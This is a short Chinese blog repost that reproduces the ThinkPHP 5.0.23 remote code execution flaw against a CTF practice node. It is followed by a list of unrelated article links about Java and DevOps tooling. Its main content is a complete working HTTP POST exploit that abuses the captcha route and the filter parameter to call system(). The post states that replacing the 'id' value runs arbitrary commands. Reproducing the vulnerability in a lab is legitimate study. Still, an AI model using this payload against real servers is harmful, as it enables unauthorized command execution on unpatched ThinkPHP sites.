[ThinkPHP]5.0.23-Rce 漏洞复现
本文共 500 字，大约阅读时间需要 1 分钟。
[ThinkPHP]5.0.23-Rce
环境搭建
POC
http://node3.buuoj.cn:27512/
直接用poc打一下：
POST /index.php?s=captcha HTTP/1.1Host: node3.buuoj.cn:27512Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
直接在burp的repeater模块里面构造就行了：
exp
这里直接修改id即可，id处可以执行任意代码。
转载地址：http://hapbi.baihongyu.com/
你可能感兴趣的文章
解决跨网场景下，CAS重定向无法登录的问题（无需修改现有代码）
查看>>
java反编译命令
查看>>
activemq依赖包获取
查看>>
概念区别
查看>>
关于静态块、静态属性、构造块、构造方法的执行顺序
查看>>
final 的作用
查看>>
在Idea中使用Eclipse编译器
查看>>
idea讲web项目部署到tomcat，热部署
查看>>
优化IDEA启动速度，快了好多。后面有什么优化点，会继续往里面添加
查看>>
JMeter 保持sessionId
查看>>
IDEA Properties中文unicode转码问题
查看>>
Idea下安装Lombok插件
查看>>
zookeeper
查看>>
Idea导入的工程看不到src等代码
查看>>
技术栈
查看>>
Jenkins中shell-script执行报错sh: line 2: npm: command not found
查看>>
8.X版本的node打包时，gulp命令报错 require.extensions.hasownproperty
查看>>
Jenkins 启动命令
查看>>
Maven项目版本继承 – 我必须指定父版本？
查看>>
Maven跳过单元测试的两种方式
查看>>